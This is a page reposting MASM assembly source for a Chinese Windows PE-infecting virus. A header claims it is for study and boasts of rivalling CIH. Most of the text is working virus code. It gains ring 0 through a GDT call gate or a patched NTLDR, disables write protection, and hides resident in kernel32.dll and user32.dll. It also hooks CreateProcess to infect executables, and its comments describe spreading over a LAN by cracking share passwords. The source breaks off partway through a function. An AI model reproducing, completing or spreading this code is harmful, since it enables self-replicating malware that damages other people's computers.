📄 bingdu.txt
字号:
如下代码编译通过(莫国防)
;转:国人的RING 0病毒
; 警告:本程序仅供各位学习研究,不许更改本程序成病毒新变种,更不允许添加破坏
性代码,各位切记!
;写毒目的:
;1,崇拜陈盈豪,欲与CIH一比高低;
;2,传播技术,提高国人的水平(如果你把源程序读懂,并跟踪一遍病毒,你的技术会
大大提高);
;3,让世界知道中国还是有人的;
;相关技术:
;1,进入RING0:在WIN98用和CIH一样的技术,直接往GDT添加CALLGATE;在WIN
2000/XP/2003里把
; CALLGATE写入NTLDR里,重启后生效(独创技术,这也是WINDOWS 2000/XP/2003的一个
漏洞)。
;2,驻留内存:由于所有dll模块装入内存后,在文件头只使用1K空间,还有3K空间剩
余,所以本病毒
; 把自身的3K放入kernel32.dll的空隙里,剩下2K放在user32.dll里,但WIN98比较特
殊,剩下2K用vxd的
; _PageAllocate分配空间。本毒驻留不靠建立进程和GlobalAlloc内存,而是插入模块
的空隙里,因此在
; 任务管理器里是看不到病毒的,更终止不了它在内存感染文件,所以本病毒难杀就难
在这里!很多杀毒
; 软件要么找不到本病毒,即使找到了也杀不了或杀不干净,束手无策(独创技术)。
;3,拦截文件操作:为了在WIN98和WIN 2000/XP/2003里通用,采用拦截CreateProcess
函数的方法感染PE文
; 件(独创技术)。
;4,局域网传播:用自身的密码生成器破解远程主机的共享密码,成功后把病毒复制到
对方的启动文件夹中。
;5,电子邮件传播:呵呵,目前还没有此项功能!
;危害估计:
;1,影响中毒者的正常操作;
;2,由于每运行一个程序就建立一个感染局域网线程,这些线程都用到MPR模块,估计运
行几个程序后MPR会
; 崩溃,引起非法操作(找比尔.盖茨去吧,谁叫他给你的MPR不堪负重?);
;3,绝对没有破坏数据,覆盖BIOS,窃取信息资料等恶意行为。
; 俺的技术也在不断提高,也许还有下一个更厉害的病毒哦,呵呵
.586p
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\advapi32.inc
include \masm32\include\mpr.inc
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
includelib mpr.lib
VirusSize = offset VirusEnd-offset VirusStart
VirusSizeP1 = offset _OtherMemPosition-offset VirusStart ;本毒在内存的感染PE
文件部分
VirusSizeP2 = VirusSize-VirusSizeP1 ;本毒的后半部分,不活动
.code
VirusStart:
nop
pushfd
pushad
db 0e8h,0,0,0,0 ;这是一条call命令,在这里相当于push eip
pop ebx ;EBX=EBX指令在内存的实际地址
mov edx,ebx
mov eax,ebx
sub ebx,$-5 ;实际地址-设计地址=地址差=重定位值=EBX
sub edx,8
call _GetModuleAddress ;取得本进程的装载地址
add eax,[eax+3ch]
mov lpOldPE[ebx],eax
sub edx,[eax+28h]
sub edx,[eax+34h]
add VirusExit[ebx],edx ;edx=本进程的重定位值,修正原来程序入口
mov eax,[esp+24h]
call _GetModuleAddress ;取得hKernel32
mov hKernel32[ebx],eax
mov CallGateSel[ebx],103h
call _GetC3Address ;在kernel32.dll模块中查找ret(0xc3)的地址
lea esi,[ebx+FunctionNameTab+8] ;首先取得
LoadLibraryA,GetProcAddress,GetVersion的地址
lea edi,FunctionAddressTab[ebx]
mov ecx,3
@@:
lodsd
add eax,ebx
push eax
push hKernel32[ebx]
call _GetProcAddress
stosd
loop @b
call dwGetVersion[ebx]
shr eax,31
mov dwVersion[ebx],eax ;windows 版本放入dwVersion变量,98=1,2000/XP/2003=0
call _IsWindows9x ;如果是WIN98马上往GDT中添加CALLGATE
lea esi,[ebx+FunctionNameTab+4*7]
mov ecx,4
@@:
lodsd
add eax,ebx
.if dwVersion[ebx]
mov byte ptr [eax-2],'A'
.else
mov byte ptr [eax-2],'W'
.endif
loop @b ;处理ANSI/unicode API函数名
call _ProcessImportTab ;导入所有API函数
lea eax,szUser32[ebx]
push eax
call dwLoadLibrary[ebx]
mov hUser32[ebx],eax
xor edx,edx
lar edx,CallGateSel[ebx]
.if dh!=0ech ;如果是第一次感染2000/XP/2003,把CALLGATE写入NTLDR,感染桌面的快
捷方式对应的EXE文件,等待重新启动CALLGATE生效
push 4
lea eax,szNtldr[ebx]
push eax
call _EditFile
call _EditLnkFile
.else ;如果是WIN98或内存中有CALLGATE的2000/XP/2003,就进入RING0
dw 9bffh
dd offset CallGateSel-4
mov eax,esp
mov esp,[esp+4] ;切换堆栈
push eax
mov eax,cr0
btr eax,16
mov cr0,eax ;去掉kernel32模块只读内存页的写保护
mov eax,lpOldPE[ebx]
mov edx,dwOldEntry[ebx]
mov [eax+28h],edx
mov edx,dwOldImage[ebx]
mov [eax+50h],edx ;恢复进程的入口和映像大小,避过某些程序的自我保护
mov edi,hKernel32[ebx]
add edi,[edi+3ch]
mov edi,[edi+54h]
add edi,hKernel32[ebx]
mov lpMemPosition1[ebx],edi
lea esi,VirusStart[ebx]
mov ecx,10h
repz cmpsb ;判断病毒是否已经在内存
.if !ZERO? ;not in mem
.if dwVersion[ebx] ;不在内存
push 0fh
push 0
push -1
push 0
push 0
push 0
push 1
push 1
@@:
int 20h ;vxd->_PageAllocate
dd 00010053h
add esp,8*4
lea edi,@b[ebx]
mov word ptr [edi],20cdh
mov dword ptr [edi+2],00010053h
.else
mov eax,hUser32[ebx]
add eax,[eax+3ch]
mov eax,[eax+54h]
add eax,hUser32[ebx] ;2000/XP/2003---》EAX=user32.dll模块的空隙
.endif
mov lpMemPosition2[ebx],eax
mov edi,lpMemPosition1[ebx]
add edi,offset _BeforeAPI-offset VirusStart
mov dword ptr [ebx+szNewCommand+1],edi ;构造跳转入CreateProcess拦截函数的指
令
mov esi,dwCreateProcess[ebx]
push esi
lea edi,szOldCommand[ebx]
mov ecx,6
rep movsb ;保存原来CreateProcess函数的前6字节
lea esi,szNewCommand[ebx]
pop edi
mov ecx,6
rep movsb ;把CreateProcess函数的第一条指令改为跳入拦截函数的指令
lea esi,VirusStart[ebx]
mov edi,lpMemPosition1[ebx]
mov ecx,VirusSizeP1
rep movsb ;病毒前3K驻留在kernel32模块
mov edi,eax
mov ecx,VirusSizeP2
rep movsb ;病毒后2K驻留在user32模块或vxd _PageAllocate分到的页中
.endif
pop esp
lea eax,@f[ebx]
push eax
retf ;返回RING3
@@:
.endif
;create thread for net taint
.if dwVersion[ebx] ;创建感染局域网线程
call _MemToFile
lea eax,dwVersion[ebx]
push eax
push 0
push 0
lea eax,_GoLAN[ebx]
push eax
push 0
push 0
call dwCreateThread[ebx]
.endif
enter 32,0 ;判断发作条件
push esp
call dwGetLocalTime[ebx]
mov ax,[esp+2]
mov dl,3
div dl
.if ah==0 && word ptr [esp+4]>=5
push 0
lea eax,szMessageTit[ebx]
push eax
lea eax,szMessageText[ebx]
push eax
push 0
call dwMessageBox[ebx]
.endif
leave
popad
popfd
db 68h
VirusExit:
dd offset @f ;如果病毒在宿主程序,返回原程序入口,把控制权交回给原程序;如果
病毒独立运行,
@@: ;第一次RET回到RET指令,再一次RET就回到kernel32.dll模块中,退出病毒进程
(高级技巧,不靠ExitProcess)。
ret
hKernel32 dd 0
hUser32 dd 0
szUser32 db 'user32.dll',0
dwC3Address dd 0
dwOldImage dd 3000h
dwOldEntry dd 1000h
lpOldPE dd 0
lpMemPosition1 dd 0
lpMemPosition2 dd 0
dwVersion dd 0
CallGateSel dd 103h
;拦截CreateProcess的前半部分代码,主要判断该不该感染文件,恢复原函数的前6字节
以保证CreateProcess
;返回拦截函数的后半部分
_BeforeAPI:
pushfd ;扩展堆栈空间,存放拦截函数后半部分的地址
pushfd ;扩展堆栈空间,CreateProcess的参数前移4字节占用的空间
pushfd ;保存现场
pushad
cld
db 0e8h,0,0,0,0 ;push eip
pop ebx
sub ebx,$-1 ;ebx=重定位值
mov edi,dwCreateProcess[ebx]
mov [esp+24h],edi
lea esi,szOldCommand[ebx]
mov ecx,6
dw 9bffh
dd offset CallGateSel-4
rep movsb ;进入RING0恢复CreateProcess的前6字节
lea eax,@f[ebx]
push eax
retf
@@:
mov eax,lpMemPosition1[ebx]
add eax,offset _BehindAPI-offset VirusStart
xchg eax,[esp+2ch] ;调用CreateProcess函数的代码的返回地址,跟拦截函数后半部的
地址交换
lea esi,[esp+2ch]
lea edi,[esp+28h]
mov ecx,11
rep movsd
stosd ;CreateProcess函数的10个参数前移4字节,最终返回地址存入堆栈
mov esi,[esp+28h+4] ;处理EXE文件的路径
.if !esi
mov esi,[esp+28h+4+4]
.endif
enter 100h,0
xor eax,eax
mov ecx,100h
lea edi,[ebp-100h]
rep stosb
xor edx,edx
lea edi,[ebp-100h]
mov ecx,80h
@@:
.if dwVersion[ebx]
lodsb
.if al==0
stosb
mov dl,2
.elseif al==22h
inc edx
.else
stosb
.endif
.else
lodsw
.if ax==0
stosw
mov dl,2
.elseif ax==22h
inc edx
.else
stosw
.endif
.endif
cmp dl,2
loopnz @b
.if dwVersion[ebx]
lea esi,[ebp-100h+2]
.else
lea esi,[ebp-100h+4]
.endif
mov ecx,4
@@:
.if dwVersion[ebx]
lodsb
.else
lodsw
.endif
shrd edx,eax,8
loop @b
and edx,0dfdfdfdfh ;小写转大写
cmp edx,'NIW'
jz @f
.if !dwVersion[ebx] && edx=='ORP'
jmp @f
.endif
lea edx,[ebp-100h]
push 1
push edx
call _EditFile ;感染CreateProcess打开的PE文件
@@:
leave
popad
popfd
ret ;回到原CreateProcess继续执行
_BehindAPI: ;CreateProcess返回后将跳到这里,这里负责恢复它的前6字节为跳转指
令,跳到拦截函数的前半部分
pushfd
pushad
cld
db 0e8h,0,0,0,0
pop ebx
sub ebx,$-1
mov edi,dwCreateProcess[ebx]
lea esi,szNewCommand[ebx]
mov ecx,6
dw 9bffh
dd offset CallGateSel-4
rep movsb
lea eax,@f[ebx]
push eax
retf
@@:
popad
popfd
ret ;这里真正返回调用CreateProcess的地址
szOldCommand db 6 dup(0)
szNewCommand db 68h,0,0,0,0,0c3h
db 0
;感染PE文件的子程序
;_dwFlag-----bit 0:0=ntldr, 1=PE;bit 1:0=mem, 1=file;bit 2:0=auto
(ansi/unicode), 1=ansi
_EditFile proc _lpFileName,_dwFlag
local @hFile
local @hFileMap
local @lpFileMap
local @dwFileSize
local @dwFileAttributes
local @stFileTime1:FILETIME
local @stFileTime2:FILETIME
local @stFileTime3:FILETIME
pushad
push _lpFileName
bt _dwFlag,2
.if CARRY?
call dwGetFileAttributesA[ebx]
.else
call dwGetFileAttributes[ebx]
.endif
;invoke GetFileAttributes,_lpFileName
.if eax!=-1
mov @dwFileAttributes,eax
push 80h
push _lpFileName
bt _dwFlag,2
.if CARRY?
call dwSetFileAttributesA[ebx]
.else
call dwSetFileAttributes[ebx]
.endif
;invoke SetFileAttributes,_lpFileName,80h
push 0
push 80h
push 3
push 0
push 3
push 0c0000000h
push _lpFileName
bt _dwFlag,2
.if CARRY?
call dwCreateFileA[ebx]
.else
call dwCreateFile[ebx]
.endif
;invoke CreateFile,_lpFileName,0c0000000h,0,0,3,80h,0
.if eax!=0ffffffffh
mov @hFile,eax
push eax
call dwGetFileType[ebx]
.if eax==FILE_TYPE_DISK
push 0
push @hFile
call dwGetFileSize[ebx]
;invoke GetFileSize,@hFile,0
mov @dwFileSize,eax
lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwGetFileTime[ebx]
;invoke GetFileTime,@hFile,addr @stFileTime1,addr @stFileTime2,addr
@stFileTime3
push 0
push 0
push 0
push 4
push 0
push @hFile
call dwCreateFileMapping[ebx]
;invoke CreateFileMapping,@hFile,0,4,0,eax,0
.if eax
mov @hFileMap,eax
push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
;invoke MapViewOfFile,eax,6,0,0,0
.if eax
mov @lpFileMap,eax
bt _dwFlag,0
.if CARRY?
.if word ptr [eax]=='ZM'
.if dword ptr [eax+20h]!='FGM'
add eax,[eax+3ch]
.if dword ptr [eax]=='EP'
bt dword ptr [eax+16h],13
.if !CARRY?
push @lpFileMap
call dwUnmapViewOfFile[ebx]
push @hFileMap
call dwCloseHandle[ebx]
mov eax,@dwFileSize
add eax,VirusSize ;如果是满足条件的PE文件,文件大小扩展VirusSize字节
push 0
push eax
push 0
push 4
push 0
push @hFile
call dwCreateFileMapping[ebx]
mov @hFileMap,eax
push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
mov @lpFileMap,eax
add eax,[eax+3ch]
movzx ecx,word ptr [eax+6]
dec ecx
xchg eax,ecx
mov edx,28h
mul edx
xchg eax,ecx
movzx edx,word ptr [eax+14h]
add edx,18h
add edx,eax
add edx,ecx ;定位在最后一个节
mov edi,@lpFileMap
add edi,@dwFileSize
bt _dwFlag,1
.if CARRY?
lea esi,VirusStart[ebx]
mov ecx,VirusSize
pushad
rep movsb
popad
.else
mov esi,lpMemPosition1[ebx]
mov ecx,VirusSizeP1
pushad
rep movsb
.if dwVersion[ebx]
mov esi,lpMemPosition2[ebx]
.else
lea eax,szUser32[ebx]
push eax
call dwLoadLibrary[ebx]
mov esi,eax
add esi,[esi+3ch]
mov esi,[esi+54h]
add esi,eax
.endif
mov ecx,VirusSizeP2
rep movsb
popad
.endif ;把病毒代码写入文件
mov ecx,@dwFileSize
add ecx,VirusSize
sub ecx,[edx+14h]
mov [edx+8],ecx
mov [edx+10h],ecx
mov dword ptr [edx+24h],0e00000e0h
mov ecx,[eax+50h]
mov esi,offset dwOldImage-offset VirusStart
mov [edi+esi],ecx
mov ecx,[eax+28h]
mov esi,offset dwOldEntry-offset VirusStart
mov [edi+esi],ecx
add ecx,[eax+34h]
mov esi,offset VirusExit-offset VirusStart
mov [edi+esi],ecx
sub edi,@lpFileMap
sub edi,[edx+14h]
add edi,[edx+12]
mov [eax+28h],edi
mov ecx,[edx+12]
add ecx,[edx+8]
and cx,0f000h
add ecx,1000h
mov [eax+50h],ecx
mov ecx,@lpFileMap
mov dword ptr [ecx+20h],'FGM' ;修改PE文件头和写已感染标志MGF
.endif;'DLL'
.endif;'EP'
.endif;! 'FGM'
.endif;'ZM'
.else;_dwFlag ;如果是NTLDR文件,写入CALLGATE
lea esi,szGdtData[ebx]
mov edi,@lpFileMap
mov ecx,@dwFileSize
@@:
inc edi
push esi
push edi
push ecx
mov ecx,10h
repz cmpsb
pop ecx
pop edi
pop esi
loopnz @b
.if ZERO?
xor eax,eax
mov ecx,80h
@@:
sub edi,8
push edi
push ecx
mov ecx,8
repz scasb
pop ecx
pop edi
loopnz @b
.if ZERO?
add edi,100h
lea esi,szCallGate[ebx]
mov ecx,10h
rep movsb
mov edx,dwC3Address[ebx]
mov word ptr [edi-16],dx
shr edx,16
mov word ptr [edi-10],dx
.endif
.endif
.endif;_dwFlag
push @lpFileMap
call dwUnmapViewOfFile[ebx]
;invoke UnmapViewOfFile,@lpFileMap
.endif
push @hFileMap
call dwCloseHandle[ebx]
;invoke CloseHandle,@hFileMap
.endif
lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwSetFileTime[ebx]
;invoke SetFileTime,@hFile,addr @stFileTime1,addr @stFileTime2,addr
@stFileTime3
.endif
push @hFile
call dwCloseHandle[ebx]
;invoke CloseHandle,@hFile
.endif
push @dwFileAttributes
push _lpFileName
bt _dwFlag,2
.if CARRY?
call dwSetFileAttributesA[ebx]
.else
call dwSetFileAttributes[ebx]
.endif
;call dwSetFileAttributes[ebx]
;invoke SetFileAttributes,_lpFileName,@dwFileAttributes
.endif
popad
ret
_EditFile endp
szGdtData dw 0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh
szCallGate dw 0000,0108h,0ec00h,0000,0ffffh,0000,9a00h,00cfh
szNtldr db 'c:\ntldr',0
;自身的GetProcAddress函数,用法和kernel32.dll的GetProcAddress一样
_GetProcAddress proc uses ecx esi edi,_hModule,_lpszProcName
local @dwSize
mov edx,_hModule
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -